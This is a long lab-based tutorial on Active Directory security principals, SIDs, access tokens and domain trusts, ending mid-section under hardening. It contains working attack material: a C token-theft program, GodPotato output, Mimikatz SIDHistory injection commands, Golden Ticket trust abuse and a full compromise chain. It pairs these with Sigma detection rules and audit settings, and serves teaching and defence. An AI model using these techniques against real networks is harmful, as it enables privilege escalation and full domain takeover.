Security Principals, SIDs, Tokens, and Trusts: How Identity and Authorization Really Work in AD
Objective: Understand, end to end, how Active Directory decides who you are (security principals, SIDs), what you are permitted to do (access tokens, ACL checks), and how trust between domains stretches or constrains that identity. We build a two-domain lab, enumerate the data structures live, abuse the predictable failure modes (token theft, SeImpersonatePrivilege, SIDHistory injection, forest trust misuse), and pair every step with the telemetry a defender should see.
Most AD write-ups skip the part that actually matters. They show you Rubeus.exe asktgs and call it a day, then you hit a real engagement and have no idea why a TGT request from a child domain succeeded without SID filtering, or why your impersonated token throws ERROR_PRIVILEGE_NOT_HELD when the user is “Administrator.” Identity in Windows is a series of small data structures wired together by very old code, and if you don’t understand the structures you cannot reason about the abuse.
This guide is the long version. It starts with the _SID struct, walks the kernel _TOKEN, then attacks the resulting authorization model from three angles: in-process token theft, SIDHistory injection across a domain boundary, and forest trust abuse. Every section starts with the enumeration that finds the misconfiguration. Then we exploit it. Then we look at what showed up in the logs.
Lab assumption throughout: LAB.LOCAL (forest root, DC DC01), CHILD.LAB.LOCAL (child, DC DC02), Windows 11 workstation WS01 joined to CHILD. Two-way transitive forest trust, SID filtering left at the within-forest default (off). Service account svc_backup on WS01 has SeImpersonatePrivilege. Build it before you continue: nothing in this article is interesting on paper.
Contents
- 1 1. What Is a Security Principal
- 2 2. SID Anatomy: Binary Format to String
- 3 3. Access Tokens: The Runtime Identity Object
- 4 4. The Authorization Check: From Token to ACE
- 5 5. Privileges Deep-Dive: Which Ones Matter for Attackers
- 6 6. Token Impersonation and Theft
- 7 7. SIDHistory: The Migration Feature That Becomes a Backdoor
- 8 8. Domain and Forest Trusts: Architecture and Attack Surface
- 9 9. The Full Chain End to End
- 10 10. Detection and Defense
- 11 11. Tools for Identity and Trust Analysis
- 12 12. MITRE ATT&CK Mapping
- 13 Summary
- 14 Related Tutorials
- 15 References
1. What Is a Security Principal
A security principal is anything the OS can authenticate: a user, a computer, a managed service account, a gMSA, or a group containing those. Every principal carries a unique security identifier (SID) in its objectSid attribute. The SID is the identity. The username, the SAM account name, the UPN: those are labels. The SID is what the kernel compares.
When AD does authorization, it never reads “JDOE”. It reads S-1-5-21-1452537293-2842118805-3217629512-1108. Rename JDOE to JANE, the SID is unchanged, the access stays the same. Delete JDOE, recreate “JDOE,” and the new account is a stranger to every ACE that referenced the old one. SIDs are never reissued, never recycled. That guarantee is what makes the entire ACL system work.
Enumerate principals before you abuse them
Before you can attack identity, you need to see it. Three angles cover most ground: ADSI/PowerShell for the AD-side view, whoami for the token-side view, and BloodHound for the relationship graph.
Get-ADUser -Filter * -Properties objectSid, sAMAccountName, memberOf |
Select-Object Name, sAMAccountName, objectSid -First 5
Name sAMAccountName objectSid
---- -------------- ---------
Administrator Administrator S-1-5-21-1452537293-2842118805-3217629512-500
krbtgt krbtgt S-1-5-21-1452537293-2842118805-3217629512-502
svc_backup svc_backup S-1-5-21-3344112233-1100022113-4421987654-1117
JDoe jdoe S-1-5-21-3344112233-1100022113-4421987654-1108
Helpdesk1 hd1 S-1-5-21-3344112233-1100022113-4421987654-1142
Two domain SIDs are visible here. The first three sub-authority blocks (1452537293-2842118805-3217629512 and 3344112233-1100022113-4421987654) are the domain SIDs of LAB.LOCAL and CHILD.LAB.LOCAL. The trailing number is the RID. Administrator is always 500 in its domain; krbtgt is 502. Memorize these:
| RID | Account | Why it matters |
|---|---|---|
| 500 | Built-in Administrator | Target for password spray, never locks |
| 501 | Guest | Often disabled, occasionally a foothold |
| 502 | krbtgt | NTLM hash = Golden Ticket |
| 512 | Domain Admins | The classic privesc target |
| 513 | Domain Users | Every authenticated user |
| 519 | Enterprise Admins | Forest-wide power, root domain only |
2. SID Anatomy: Binary Format to String
A SID on disk is a packed binary blob. The string form S-1-5-21-... is a render of these fields:
typedef struct _SID {
BYTE Revision; // always 0x01
BYTE SubAuthorityCount; // 1..15
SID_IDENTIFIER_AUTHORITY IdentifierAuthority; // 6 bytes, e.g. {0,0,0,0,0,5} = NT
DWORD SubAuthority[ANYSIZE_ARRAY]; // SubAuthorityCount * DWORD
} SID, *PSID;
The string S-1-5-21-3344112233-1100022113-4421987654-1108 decodes to:
– 1: revision
– 5: identifier authority (NT)
– 21-3344112233-1100022113-4421987654: domain identifier (4 sub-authorities, the leading 21 + three random DWORDs generated at domain creation)
– 1108: RID
For domain principals, the domain SID is fixed at promotion time and every account is just DomainSID + RID. That’s why the RID matters: in a forged ticket you don’t pick a SID at random, you build it from the target domain’s prefix and the well-known RID you want.
Well-known SIDs you must recognize on sight
| SID | Name | Notes |
|---|---|---|
S-1-0-0 | NULL SID | No principal |
S-1-1-0 | Everyone | Includes anonymous on legacy configs |
S-1-5-7 | Anonymous | Pre-auth identity |
S-1-5-11 | Authenticated Users | Logged-on with credentials |
S-1-5-18 | LOCAL SYSTEM | The kernel’s own identity |
S-1-5-19 | LOCAL SERVICE | Limited service identity |
S-1-5-20 | NETWORK SERVICE | Network-capable service identity |
S-1-5-32-544 | BUILTIN\Administrators | Local admins group |
S-1-5-32-545 | BUILTIN\Users | Local users group |
S-1-3-0 | CREATOR OWNER | Placeholder, substituted at inheritance |
CREATOR_OWNER is one of those quiet ones. When set in an inheritable ACE on a container, the inheritance engine swaps it for the SID of the creating principal on the child object. That is how “owner gets full control” propagates through file shares, GPO containers, and the registry.
Resolve a name to a SID without ADUC:
([System.Security.Principal.NTAccount]"CHILD\svc_backup").Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-3344112233-1100022113-4421987654-1117
And back the other way:
(New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-3344112233-1100022113-4421987654-1117")).Translate([System.Security.Principal.NTAccount]).Value
CHILD\svc_backup
This LSALookupSids RPC call goes to the local LSA, which forwards to the relevant DC if the SID isn’t local. It is also the call you watch for in detection: anonymous SID translation against a DC is a classic recon footprint.
3. Access Tokens: The Runtime Identity Object
Authentication produces a logon session. The Local Security Authority Subsystem Service (lsass.exe) materializes that session as an access token. The token is what gets pinned to every process and (when impersonating) every thread. Lose the password, but keep the token, and the password is irrelevant.
A primary token belongs to a process: _EPROCESS->Token. An impersonation token is attached to a thread: _ETHREAD->ClientSecurity. When a thread issues a syscall against a securable object, the kernel uses the thread’s impersonation token if one is set, else the process’s primary token.
typedef enum _TOKEN_TYPE {
TokenPrimary = 1,
TokenImpersonation = 2
} TOKEN_TYPE;
typedef enum _SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous,
SecurityIdentification,
SecurityImpersonation,
SecurityDelegation
} SECURITY_IMPERSONATION_LEVEL;
Identification means “I can read who you are.” Impersonation means “I can act as you on this box.” Delegation means “I can act as you across the network too.” If you steal a token that only carries SecurityIdentification, you can whoami as the victim but you cannot open their files. Most stolen tokens in the wild are bumped up to SecurityImpersonation via DuplicateTokenEx because of this.
The user-mode token query is one struct that captures the important bits:
typedef struct _TOKEN_GROUPS_AND_PRIVILEGES {
DWORD SidCount;
DWORD SidLength;
PSID_AND_ATTRIBUTES Sids;
DWORD RestrictedSidCount;
DWORD RestrictedSidLength;
PSID_AND_ATTRIBUTES RestrictedSids;
DWORD PrivilegeCount;
DWORD PrivilegeLength;
PLUID_AND_ATTRIBUTES Privileges;
LUID AuthenticationId;
} TOKEN_GROUPS_AND_PRIVILEGES;
The AuthenticationId is the LUID of the logon session. The same LUID across two processes means same logon, same Kerberos tickets, same network identity.
Read your own token
whoami /all
USER INFORMATION
----------------
User Name SID
================ =============================================================
child\jdoe S-1-5-21-3344112233-1100022113-4421987654-1108
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
======================================= ================ ============ ==========
Everyone Well-known group S-1-1-0 Mandatory, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory, Enabled by default, Enabled group
CHILD\Domain Users Group S-1-5-21-3344112233-1100022113-4421987654-513 Mandatory, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Three things to internalize from this output. First, every group SID has an attributes field: Enabled, Mandatory, Use for deny only. A SID that is present but not enabled does not satisfy an ACE. Second, the Mandatory Label (S-1-16-8192 = Medium) is the integrity level: a Medium process cannot write to a High object even if the DACL would allow it. Third, privileges are listed as Enabled/Disabled. A disabled privilege is still in the token. AdjustTokenPrivileges flips it on without needing fresh creds.
Read someone else’s token from the kernel
In WinDbg attached to a live kernel:
kd> !process 0 0 winlogon.exe
PROCESS ffff8e0a4b8c4080
SessionId: 1 Cid: 03e8 Peb: 7ffd9000 ParentCid: 0274
Image: winlogon.exe
kd> !token ffff8e0a4b9d2060
_TOKEN ffff8e0a4b9d2060
TS Session ID: 0x1
User: S-1-5-18
Groups:
00 S-1-5-32-544 Attributes - Default Enabled Owner
01 S-1-1-0 Attributes - Mandatory Default Enabled
02 S-1-5-11 Attributes - Mandatory Default Enabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
...
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Authentication ID: (0,3e7) is the SYSTEM logon LUID (0x3e7 = 999). TokenType: Primary confirms this is the process token. The presence of SeDebugPrivilege enabled by default is what makes winlogon a juicy theft target.

4. The Authorization Check: From Token to ACE
The actual access check, implemented in SeAccessCheck in the kernel, is deceptively simple:
- Kernel grabs the effective token (thread impersonation if present, else process primary).
- If the operation needs a privilege (e.g. backup, debug, take ownership) and the privilege is enabled in the token, skip the DACL and grant. This is the privilege bypass path.
- Otherwise iterate the DACL’s ACEs in order.
- For each ACE: is its SID enabled in the token? Does the requested access mask intersect the ACE mask? If it is a Deny ACE matching what we want, immediately fail. If it is an Allow ACE, accumulate the granted bits.
- Stop when accumulated bits cover the requested access (grant) or the list is exhausted (deny).
- Apply the integrity check: the subject’s IL must dominate the object’s mandatory IL for write.
Two consequences worth burning in. ACE order matters. Deny ACEs are placed before Allow ACEs in a canonical DACL because the first match wins. Privileges bypass DACLs. SeBackupPrivilege lets you read any file regardless of its ACL, because the backup code path skips the DACL check entirely. That is not a bug, it is the design: backup tools need to read everything.
This is also why the entire token-theft economy exists. You don’t need to crack a password or modify an ACE. Borrow a token that already has the right SIDs and privileges flipped on, and SeAccessCheck happily approves whatever you ask.
5. Privileges Deep-Dive: Which Ones Matter for Attackers
Windows ships around 30 privileges. Five of them are equivalent to admin if you can enable them.
| Privilege | What it lets you do | Practical abuse |
|---|---|---|
SeDebugPrivilege | Open any process for full access | OpenProcess(PROCESS_ALL_ACCESS, ...) on lsass.exe, dump creds, steal tokens |
SeImpersonatePrivilege | Impersonate a client after RPC/named-pipe call | Potato family: coerce SYSTEM connection, impersonate |
SeAssignPrimaryTokenPrivilege | Replace a process’s primary token | Pair with impersonation to start a new process as SYSTEM |
SeBackupPrivilege | Read any file, bypassing DACL | Read SAM/SYSTEM hives offline, then DPAPI/SAM hash extraction |
SeRestorePrivilege | Write any file/registry key, bypassing DACL | Drop a service binary in System32, edit any registry key |
SeTakeOwnershipPrivilege | Take ownership of any object | Reset DACL on a target, then full control |
SeLoadDriverPrivilege | Load a kernel driver | BYOVD: load a signed-but-vulnerable driver to reach kernel |
Enumerate which accounts hold them
Local privilege assignment is in the LSA database. Pull it from a target box:
secedit /export /areas USER_RIGHTS /cfg C:\Windows\Temp\rights.inf
Select-String -Path C:\Windows\Temp\rights.inf -Pattern "SeImpersonatePrivilege|SeDebugPrivilege|SeBackupPrivilege"
SeImpersonatePrivilege = *S-1-5-19,*S-1-5-20,*S-1-5-32-544,*S-1-5-21-3344112233-1100022113-4421987654-1117
SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551
SeDebugPrivilege = *S-1-5-32-544
The interesting line is the first one. S-1-5-21-...-1117 is svc_backup, a domain user account that has been granted SeImpersonatePrivilege on WS01. That is the lab’s planted misconfig. The Potato chain works wherever this privilege exists on a service account.
For AD-wide visibility use BloodHound, but PowerView gives quick answers:
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators -Identity "WS01"
ComputerName : WS01.child.lab.local
ObjectName : svc_backup
ObjectDN : CN=svc_backup,OU=Service Accounts,DC=child,DC=lab,DC=local
ObjectSID : S-1-5-21-3344112233-1100022113-4421987654-1117
IsGroup : False
GPODisplayName : Workstation Service Rights
6. Token Impersonation and Theft
T1134.001 (Token Impersonation/Theft), T1134.002 (Create Process with Token), T1134.003 (Make and Impersonate Token).
6.1 Enumerate tokens available for theft
You can only steal what you can open. Start with what processes you can touch:
Get-Process | Where-Object { $_.Path -ne $null } | Select-Object Id, ProcessName, @{n='Owner';e={(Get-CimInstance Win32_Process -Filter "ProcessId=$($_.Id)").GetOwner().User}} -First 10
Id ProcessName Owner
-- ----------- -----
624 winlogon SYSTEM
712 services SYSTEM
728 lsass SYSTEM
1024 svchost NETWORK SERVICE
1380 spoolsv SYSTEM
2848 explorer jdoe
3120 chrome jdoe
4432 OneDrive jdoe
4988 cmd svc_backup
A SYSTEM token in winlogon.exe or lsass.exe is the prize. Whether you can open it depends on your current privileges. With SeDebugPrivilege, you bypass the process DACL entirely.
For thread-level impersonation tokens (often more interesting because they reflect recent network logons):
# Use incognito / Token::list from Mimikatz
mimikatz # token::list
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
700 {0;000003e7} 1 D 24437 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonation (Delegation)
1144 {0;0002a3f1} 1 F 187462 CHILD\jdoe S-1-5-21-3344112233-1100022113-4421987654-1108 (12g,00p) Primary
-> Impersonation (Impersonation)
4988 {0;0001ec22} 1 D 92341 CHILD\svc_backup S-1-5-21-3344112233-1100022113-4421987654-1117 (15g,03p) Primary
The privilege count (15g,03p) next to svc_backup says 15 groups, 3 privileges enabled. That is the impersonation candidate. The “Delegation” tag on the SYSTEM token means it can be reused across the network: that is the one you actually want.
6.2 Manual token theft in C
The canonical chain is OpenProcess → OpenProcessToken → DuplicateTokenEx → CreateProcessWithTokenW. If SeDebugPrivilege is enabled, the target can be winlogon.exe.
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD GetProcessIdByName(const wchar_t *name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD pid = 0;
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return pid;
}
BOOL EnableDebug(void) {
HANDLE hTok; LUID luid; TOKEN_PRIVILEGES tp = { 1 };
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid);
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hTok);
return ok && GetLastError() == ERROR_SUCCESS;
}
int wmain(void) {
if (!EnableDebug()) { wprintf(L"[-] SeDebugPrivilege not held\n"); return 1; }
DWORD pid = GetProcessIdByName(L"winlogon.exe");
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
HANDLE hTok = NULL, hDup = NULL;
OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTok);
DuplicateTokenEx(hTok, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDup);
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.lpDesktop = L"winsta0\\default";
BOOL ok = CreateProcessWithTokenW(hDup, LOGON_WITH_PROFILE,
L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi);
wprintf(L"[%s] cmd.exe PID %lu\n", ok ? L"+" : L"-", pi.dwProcessId);
return 0;
}
Run it as svc_backup (which holds SeImpersonatePrivilege but not SeDebug) and it fails immediately at EnableDebug. That privilege is the gate. Either get SeDebugPrivilege (you’re already admin) or go through the named-pipe path below.
6.3 The Potato path: SeImpersonatePrivilege without SeDebug
SeImpersonatePrivilege lets a thread accept an impersonation token from a client of its named pipe or RPC endpoint. The whole Potato family (Hot, Rotten, Juicy, Rogue, Print, God) chains the same primitive:
- Create a named pipe as svc_backup.
- Trick a SYSTEM process into connecting to it. Mechanisms vary (DCOM activation, MS-RPRN spool service, MS-EFSR).
ImpersonateNamedPipeClient(hPipe): thread token is now SYSTEM impersonation.DuplicateTokenEx→ primary SYSTEM token →CreateProcessAsUser.
In the lab, use PrintSpoofer (uses MS-RPRN) or GodPotato (uses DCOM/RPC SS):
C:\Users\svc_backup\Desktop> .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x00007ffcf3a90000
[*] DispatchTable: 0x00007ffcf3bd2360
[*] UseProtSeqFunction: 0x00007ffcf3b06ad0
[*] UseProtSeqFunctionParamCount: 6
[*] HookRPC
[*] CreateNamedPipe \\.\pipe\7f3a6e02-22ed-4b8c-94b4-2e5a8c1a0017\pipe\epmapper
[*] DCOM obj GUID: 4991d34b-80a1-4291-83b6-3328366b9097
[*] DCOM obj IPID: 00000a87-0aff-ffff-12b8-de32b73a9ca0
[*] DCOM obj OXID: 37ec9b2a90a1d2e8
[*] Marshal Object bytes len: 728
[*] Pipe Connected!
[*] CurrentUser: CHILD\svc_backup
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] Find System Token Pid: 728
[*] Find System Token ProcessName: lsass.exe
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] Get System Token: 0x484
[*] CreateProcessWithToken: cmd /c whoami
nt authority\system
The trick is the named pipe relay. RPC’s runtime resolves the endpoint mapper through the attacker’s pipe, the SYSTEM-side caller authenticates over that pipe, and the SS marshalling of an IRemUnknown2 callback flows the SYSTEM client identity to the pipe server. The pipe server (us) calls ImpersonateNamedPipeClient and now holds SYSTEM.
The defense is also obvious: do not grant SeImpersonatePrivilege to service accounts that do not absolutely need it (IIS app pools, SQL Server). Removing it neutralizes the entire Potato family.

7. SIDHistory: The Migration Feature That Becomes a Backdoor
T1134.005.
When AD migrates an account between domains, the new account gets a new objectSid. To keep its access to old resources, the previous SID is dropped into the sIDHistory attribute. At logon, the KDC and LSA expand sIDHistory into the access token alongside the current SID and group SIDs. From the access-check kernel’s perspective, the historical SID is just another enabled SID in the token. It satisfies ACEs that reference it.
That is the legitimate flow. The abuse: write a SID into someone’s sIDHistory that they should not have. The DC’s authentication path will dutifully add it to the token. RID 519 (Enterprise Admins) in the root domain SID, slotted into a low-priv user’s sIDHistory, makes them Enterprise Admin at next logon without ever appearing in the EA group’s member list.
Enumerate sIDHistory anywhere it shouldn’t exist
Get-ADUser -Filter * -Properties SIDHistory -Server lab.local |
Where-Object { $_.SIDHistory.Count -gt 0 } |
Select-Object Name, SIDHistory
Name SIDHistory
---- ----------
oldsvc01 {S-1-5-21-9988887766-1122334455-5566778899-1342}
auditor {S-1-5-21-1452537293-2842118805-3217629512-512}
auditor has a sIDHistory containing RID 512 from the LAB.LOCAL root domain SID. Translated: Domain Admins of the forest root, granted via SIDHistory to a regular user account. That is the backdoor in the wild.
Cross-check against documented migrations. If there was no ADMT project, that entry is malicious.
Inject sIDHistory with Mimikatz
This requires Domain Admin in the source (child) domain plus access to the DC. The DS service normally rejects writes that add SIDs from outside the current domain. Mimikatz patches the DS validation in LSASS memory to allow the write:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
mimikatz # sid::patch
Patch 1/2: "ntds" service patched
Patch 2/2: "ntds" service patched
Then add the SID. The argument is the full SID string of the privilege you want to plant:
mimikatz # sid::add /sam:jdoe /new:S-1-5-21-1452537293-2842118805-3217629512-519
* Will try to add 'S-1-5-21-1452537293-2842118805-3217629512-519' to 'jdoe'
* Object: CN=JDoe,CN=Users,DC=child,DC=lab,DC=local
* sIDHistory before:
* sIDHistory after: S-1-5-21-1452537293-2842118805-3217629512-519
* OK!
Verify and prove the impact:
Get-ADUser jdoe -Server child.lab.local -Properties SIDHistory | Format-List Name, SIDHistory
Name : JDoe
SIDHistory : {S-1-5-21-1452537293-2842118805-3217629512-519}
jdoe logs off, logs back on, then:
C:\Users\jdoe> whoami /groups | findstr "519"
LAB\Enterprise Admins Group S-1-5-21-1452537293-2842118805-3217629512-519 Mandatory, Enabled by default, Enabled group
JDoe is now Enterprise Admin. Group membership in AD is unchanged. The only artifact is the sIDHistory value and the DS Replication change events (4765/4766). This is why you audit sIDHistory specifically: removing the EA group membership does nothing.

8. Domain and Forest Trusts: Architecture and Attack Surface
T1482.
A trust is a serialized authentication agreement: domain A says “I will accept tickets/users issued by domain B as valid principals here.” The data lives in trustedDomain objects under CN=System,DC=.... Important attributes:
| Attribute | Meaning | Values |
|---|---|---|
trustDirection | Who trusts whom | 1 = Inbound, 2 = Outbound, 3 = Bidirectional |
trustType | Protocol family | 1 = Downlevel (NT), 2 = Uplevel (AD), 3 = MIT Kerberos realm |
trustAttributes | Bit-field of options | 0x4 = Quarantine (SID filter), 0x8 = Forest transitive, 0x40 = TreeRoot |
securityIdentifier | SID of trusted domain | Used in PAC SID filtering |
flatName | NetBIOS name |
Within a forest, trusts between parent and child domains are automatic, two-way, and transitive. SID filtering is off by default within the forest. That is the design choice that makes the Forest the security boundary, not the Domain: SIDHistory from a compromised child travels into the parent.
Enumerate trusts
C:\> nltest /domain_trusts /all_trusts /v
List of domain trusts:
0: CHILD child.lab.local (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: within forest )
Dom Guid: 14ad9b85-2e74-4a8e-9bf1-31d6c2a4c12c
Dom Sid: S-1-5-21-3344112233-1100022113-4421987654
1: LAB lab.local (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) (Forest: Yes) ( Attr: within forest )
Dom Guid: 9c2f0fae-5e90-49b4-bc77-3b9a8e2c0d11
Dom Sid: S-1-5-21-1452537293-2842118805-3217629512
2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: forest transitive )
Dom Guid: 70a98ce2-bb4e-4a01-8b59-7a5f88c2401d
Dom Sid: S-1-5-21-5544332211-6677889900-1100223344
The command completed successfully
Read carefully. LAB and CHILD show Attr: within forest: SID filtering off. PARTNER is forest transitive: SID filtering on by default (that is the safe case). Cross-forest abuse requires either the trust attribute saying TreatAsExternal was disabled, or the admin explicitly turning quarantine off with netdom.
LDAP gives the same data with more detail:
([adsisearcher]"(objectClass=trustedDomain)").FindAll() | ForEach-Object {
$p = $_.Properties
[PSCustomObject]@{
Name = $p["name"][0]
Direction = $p["trustdirection"][0]
Type = $p["trusttype"][0]
Attributes = "0x{0:X}" -f $p["trustattributes"][0]
PartnerSID = (New-Object System.Security.Principal.SecurityIdentifier($p["securityidentifier"][0], 0)).Value
}
}
Name Direction Type Attributes PartnerSID
---- --------- ---- ---------- ----------
lab.local 3 2 0x20 S-1-5-21-1452537293-2842118805-3217629512
partner.local 3 2 0x8 S-1-5-21-5544332211-6677889900-1100223344
0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST. 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE. For the 0x8 case, check filtering explicitly:
C:\> netdom trust child.lab.local /domain:partner.local /quarantine
SID filtering is enabled for this trust.
The command completed successfully.
If that says “SID filtering is not enabled,” any SIDHistory you plant in CHILD will be honored when the user authenticates against PARTNER. That is the catastrophic cross-forest path.
BloodHound is faster
For the visual side: SharpHound collects users, groups, ACLs, sessions, trusts. Imported into BloodHound, “Map Domain Trusts” shows the trust graph; “Find Shortest Paths to Domain Admins” walks AD-ACL edges across domain boundaries when filtering is off.
C:\> .\SharpHound.exe -c All,Trusts,ACL --zipfilename lab.zip
2024-XX-XX T16:42:03Z|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, ObjectProps, Container
2024-XX-XX T16:42:04Z|INFORMATION|Initializing SharpHound at 4:42 PM on ...
2024-XX-XX T16:42:09Z|INFORMATION|Status: 0 objects finished (+0 0.5)/s -- Using 47 MB RAM
2024-XX-XX T16:42:34Z|INFORMATION|Status: 1854 objects finished (+1854 92.7)/s -- Using 188 MB RAM
2024-XX-XX T16:42:51Z|INFORMATION|Enumeration finished in 00:00:48.1923470
2024-XX-XX T16:42:51Z|INFORMATION|Compressing data to .\lab.zip
In the GUI, pick “Map Domain Trusts.” Each edge is annotated with direction and IsTransitive. Walk paths labeled Contains, MemberOf, and especially GenericAll/WriteDacl toward the foreign domain’s Domain Admins to find practical cross-trust escalations.
Cross-domain ticket abuse (lab)
With Domain Admin in CHILD and SID filtering off across the forest, a Golden Ticket forged in CHILD with extra SIDs from LAB works against LAB’s DCs. The conceptual chain:
- Dump the CHILD
krbtgthash onDC02(lsadump::dcsync /domain:child.lab.local /user:krbtgt). - Forge a TGT with
kerberos::golden, embedding/sids:S-1-5-21-<LAB>-519in the PAC’s ExtraSids. - Use the ticket against a resource in
lab.local. Because the trust does not filter SIDs, the parent DC accepts the ExtraSids and authorizes you as Enterprise Admin.
This is the “SID History attack” form of the trust abuse: same primitive as Section 7, but delivered through a ticket rather than an AD attribute write. Both rely on the trust honoring SIDs from outside its own domain SID range.

9. The Full Chain End to End
Tie the sections together as a single attack the way you would run it on an assessment, with enumeration first, exploitation second, persistence third.
- Recon: SharpHound collection,
whoami /priv,seceditprivilege export,nltest /domain_trusts /all_trusts. Identifysvc_backuponWS01withSeImpersonatePrivilege, and that the LAB/CHILD trust is within-forest (no filtering). - Foothold: Phish or password-spray
svc_backup. Land an interactive session onWS01. - Local SYSTEM: Run
GodPotato. The pipe relay produces an impersonation SYSTEM token. Spawncmd.exeas SYSTEM. - Domain admin in CHILD: From SYSTEM on
WS01, run Rubeus orlsadump::dcsyncagainstDC02. Dumpkrbtgtforchild.lab.local. Forge a Golden Ticket for CHILD Domain Admin. - Cross-forest pivot: Within the Golden Ticket, set
/sids:S-1-5-21-<LAB>-519(Enterprise Admins oflab.local). Use the ticket againstDC01. Because the within-forest trust does not filter,DC01authorizes the ExtraSids. - Persistence in root: Land on
DC01as EA. Either Skeleton Key, krbtgt of LAB, or SIDHistory injection on an unobtrusive root-domain account usingsid::patch + sid::add. The SIDHistory option survives password rotations and rarely surfaces in standard group-membership audits.
The misconfigs are mundane: one over-privileged service account, one default trust attribute. The chain is end-of-engagement.
10. Detection and Defense
Sysmon and Security event correlation
| Source | Event ID | Trigger | Tactic |
|---|---|---|---|
| Sysmon | 1 | nltest.exe, whoami.exe, SharpHound.exe, mimikatz.exe process create | Discovery |
| Sysmon | 10 | ProcessAccess on lsass.exe with GrantedAccess containing 0x40 (DUP_HANDLE) or 0x1010 | Credential Access / Token Theft |
| Sysmon | 17 | Pipe Created with unusual names by IIS, MSSQL, low-priv services | Potato variants |
| Security | 4624 | Logon Type 9 (NewCredentials) or 3 cross-domain | Lateral Movement |
| Security | 4648 | Explicit credential logon | RunAs activity |
| Security | 4672 | Special privileges assigned to new logon | Privilege use |
| Security | 4688 | Process Create with command line | Toolchain visibility |
| Security | 4765 | SID History added successfully | T1134.005 |
| Security | 4766 | SID History add failed | T1134.005 (attempt) |
| Security | 4769 | Kerberos service ticket request | Cross-realm anomalies |
The chokepoint events for this article are 4765/4766 (SIDHistory) and Sysmon 10 against lsass.exe. They are low-volume in healthy environments and high-fidelity when they fire.
Sigma starters
title: LSASS Token Theft via ProcessAccess
status: stable
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x40'
- '0x1010'
- '0x1410'
filter_legit:
SourceImage|endswith:
- '\MsMpEng.exe'
- '\SenseIR.exe'
condition: selection and not filter_legit
level: high
tags:
- attack.credential_access
- attack.t1134.001
title: Domain Trust Discovery via nltest
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\nltest.exe'
CommandLine|contains:
- '/domain_trusts'
- '/trusted_domains'
- '/all_trusts'
condition: selection
level: medium
tags:
- attack.discovery
- attack.t1482
title: SID History Modification on AD User
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4765
- 4766
condition: selection
level: critical
tags:
- attack.privilege_escalation
- attack.t1134.005
Audit policy you must turn on
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable
auditpol /set /subcategory:"Process Creation" /success:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable
And command-line capture for 4688 via GPO: Computer Configuration → Administrative Templates → System → Audit Process Creation → Include command line in process creation events = Enabled.
ETW providers for EDR-style detection
| Provider | Why |
|---|---|
Microsoft-Windows-Security-Auditing | 4624/4672/4765/4766/4769 stream |
Microsoft-Windows-Kernel-Audit-API-Calls | NtDuplicateToken, NtSetInformationThread (token assignment) |
Microsoft-Windows-LDAP-Client | Outbound LDAP for objectClass=trustedDomain from non-DC hosts |
Microsoft-Windows-Sysmon | Events 1/10/17 |
Hardening
- Remove
